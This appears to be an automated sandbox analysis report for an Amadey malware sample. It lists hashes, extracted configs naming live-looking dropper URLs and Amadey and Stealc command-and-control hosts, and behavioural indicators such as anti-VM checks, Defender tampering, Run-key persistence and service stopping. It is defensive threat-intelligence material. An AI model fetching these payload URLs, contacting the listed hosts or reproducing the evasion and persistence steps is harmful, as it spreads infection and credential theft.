amadey | 380bd017cb49b4dc69065a7277f120ca8a98c4956df9d383a80ebc0b6459a136

Analysis

max time kernel
137s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
26/03/2025, 19:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

8c44b645c390b89b4a0d0bcdc9fe036a
SHA1

a007e77d13f4cc300e20fe1a866cdc9bb16bb878
SHA256

380bd017cb49b4dc69065a7277f120ca8a98c4956df9d383a80ebc0b6459a136
SHA512

300dd9fa2c5043d47da7265c37afc2dc8a49ded8fc21c27d310c951f88f72d4b121f2538c8d226374f69c214548262ef2532c1f8d3fe9496880f9e50abec2616
SSDEEP

24576:JqDEvCTbMWu7rQYlBQcBiT6rprG8a0bu:JTvC/MTQYxsWR7a0b

Score

10^/10

amadey healer netsupport stealc 092155 trump defense_evasion discovery dropper execution exploit persistence pyinstaller rat spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral2/memory/12444-22256-0x00000000009C0000-0x0000000000E12000-memory.dmp	healer
behavioral2/memory/12444-22255-0x00000000009C0000-0x0000000000E12000-memory.dmp	healer

Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport
Netsupport family
netsupport
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	72f3f60b0e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d0357ec462.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
20	6096	powershell.exe
67	4972	powershell.exe
68	2628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6096	powershell.exe
4972	powershell.exe
2628	powershell.exe
2108	powershell.exe
5548	powershell.exe
748	powershell.exe
5220	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 17 IoCs

flow	pid	Process
20	6096	powershell.exe
68	2628	powershell.exe
73	2980	rapes.exe
72	2980	rapes.exe
72	2980	rapes.exe
75	5292	svchost.exe
67	4972	powershell.exe
77	2980	rapes.exe
111	2980	rapes.exe
29	2980	rapes.exe
29	2980	rapes.exe
29	2980	rapes.exe
29	2980	rapes.exe
163	2980	rapes.exe
163	2980	rapes.exe
163	2980	rapes.exe
163	2980	rapes.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3836	takeown.exe
4324	icacls.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\l5T91R_2940\ImagePath = "\\??\\C:\\Windows\\Temp\\59nSgy_2940.sys"	tzutil.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	72f3f60b0e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d0357ec462.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d0357ec462.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	72f3f60b0e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	dBSGwVB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	WLbfHbp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	dBSGwVB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	11.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	TbV75ZR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	11.exe

Deletes itself 1 IoCs

pid	Process
5044	w32tm.exe

Executes dropped EXE 34 IoCs

pid	Process
2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
2980	rapes.exe
2760	apple.exe
5744	11.exe
4448	11.exe
5460	rapes.exe
5976	dBSGwVB.exe
5604	bild.exe
3388	kDveTWY.exe
2852	173e5fe50e.exe
3668	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
1784	483d2fa8a0d53818306efeb32d3.exe
872	ruKazpr.exe
5784	ruKazpr.exe
5136	ruKazpr.exe
2284	ruKazpr.exe
2860	BIm18E9.exe
4052	7IIl2eE.exe
5092	TbV75ZR.exe
4836	f73ae_003.exe
4772	Passwords.com
5548	rapes.exe
4896	WLbfHbp.exe
2940	tzutil.exe
5044	w32tm.exe
4904	dBSGwVB.exe
4936	bild.exe
4648	bild.exe
6412	b2b813c1a0.exe
6844	kDveTWY.exe
4480	72f3f60b0e.exe
7340	d0357ec462.exe
7940	7baaaf4668.exe
9332	4ca06996.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	72f3f60b0e.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	d0357ec462.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe

Loads dropped DLL 23 IoCs

pid	Process
5604	bild.exe
5604	bild.exe
5604	bild.exe
5604	bild.exe
5604	bild.exe
5784	ruKazpr.exe
5784	ruKazpr.exe
5784	ruKazpr.exe
5784	ruKazpr.exe
5784	ruKazpr.exe
2284	ruKazpr.exe
2284	ruKazpr.exe
2284	ruKazpr.exe
2284	ruKazpr.exe
2284	ruKazpr.exe
4936	bild.exe
4936	bild.exe
4936	bild.exe
4936	bild.exe
4648	bild.exe
4648	bild.exe
4648	bild.exe
4648	bild.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3836	takeown.exe
4324	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat = "C:\\Users\\Public\\Netstat\\bild.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\173e5fe50e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10342650101\\173e5fe50e.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10342660121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat = "C:\\Users\\Public\\Netstat\\bild.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\72f3f60b0e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10343000101\\72f3f60b0e.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7baaaf4668.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10343020101\\7baaaf4668.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat = "C:\\Users\\Public\\Netstat\\bild.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d0357ec462.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10343010101\\d0357ec462.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000024343-165.dat	autoit_exe
behavioral2/files/0x001100000001b34d-21868.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4132	tasklist.exe
224	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
2980	rapes.exe
5460	rapes.exe
3668	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
1784	483d2fa8a0d53818306efeb32d3.exe
5548	rapes.exe
4480	72f3f60b0e.exe
7340	d0357ec462.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3388 set thread context of 5332	3388	kDveTWY.exe	185
PID 6412 set thread context of 6520	6412	b2b813c1a0.exe	263
PID 6844 set thread context of 6920	6844	kDveTWY.exe	268

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000024375-342.dat	upx
behavioral2/memory/5784-346-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp	upx
behavioral2/memory/5784-355-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp	upx
behavioral2/memory/5784-356-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp	upx
behavioral2/memory/5784-359-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp	upx
behavioral2/memory/5784-358-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp	upx
behavioral2/memory/5784-357-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp	upx
behavioral2/memory/2284-422-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp	upx
behavioral2/memory/2284-423-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp	upx
behavioral2/memory/2284-424-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp	upx
behavioral2/memory/2284-425-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp	upx
behavioral2/memory/2284-427-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp	upx
behavioral2/memory/2284-428-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp	upx

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	4ca06996.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe

Drops file in Windows directory 32 IoCs

description	ioc	Process
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\VeryBulk	TbV75ZR.exe
File opened for modification	C:\Windows\MandateFlashing	TbV75ZR.exe
File opened for modification	C:\Windows\FinancingPortable	TbV75ZR.exe
File opened for modification	C:\Windows\IstRepresentative	WLbfHbp.exe
File opened for modification	C:\Windows\ThoseTransit	WLbfHbp.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\MandateFlashing	WLbfHbp.exe
File opened for modification	C:\Windows\AdministratorNhs	WLbfHbp.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\ThoseTransit	TbV75ZR.exe
File opened for modification	C:\Windows\DollStriking	WLbfHbp.exe
File opened for modification	C:\Windows\AdministratorNhs	TbV75ZR.exe
File opened for modification	C:\Windows\ThinksMartin	TbV75ZR.exe
File opened for modification	C:\Windows\FinancingPortable	WLbfHbp.exe
File opened for modification	C:\Windows\ThinksMartin	WLbfHbp.exe
File created	C:\Windows\Tasks\rapes.job	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
File opened for modification	C:\Windows\IstRepresentative	TbV75ZR.exe
File opened for modification	C:\Windows\VeryBulk	WLbfHbp.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\SinghCooling	TbV75ZR.exe
File opened for modification	C:\Windows\DollStriking	TbV75ZR.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\SinghCooling	WLbfHbp.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2516	sc.exe
1232	sc.exe
4132	sc.exe
2916	sc.exe
1676	sc.exe
3788	sc.exe
232	sc.exe
1452	sc.exe
1360	sc.exe
2400	sc.exe
6064	sc.exe
1948	sc.exe
2380	sc.exe
5456	sc.exe
2692	sc.exe
1896	sc.exe
2172	sc.exe
1776	sc.exe
5032	sc.exe
4468	sc.exe
3764	sc.exe
6056	sc.exe
5452	sc.exe
5804	sc.exe
5784	sc.exe
544	sc.exe
832	sc.exe
2352	sc.exe
4760	sc.exe
4752	sc.exe
224	sc.exe
3092	sc.exe
712	sc.exe
5196	sc.exe
688	sc.exe
2788	sc.exe
5936	sc.exe
1092	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000f00000002415f-279.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TbV75ZR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WLbfHbp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
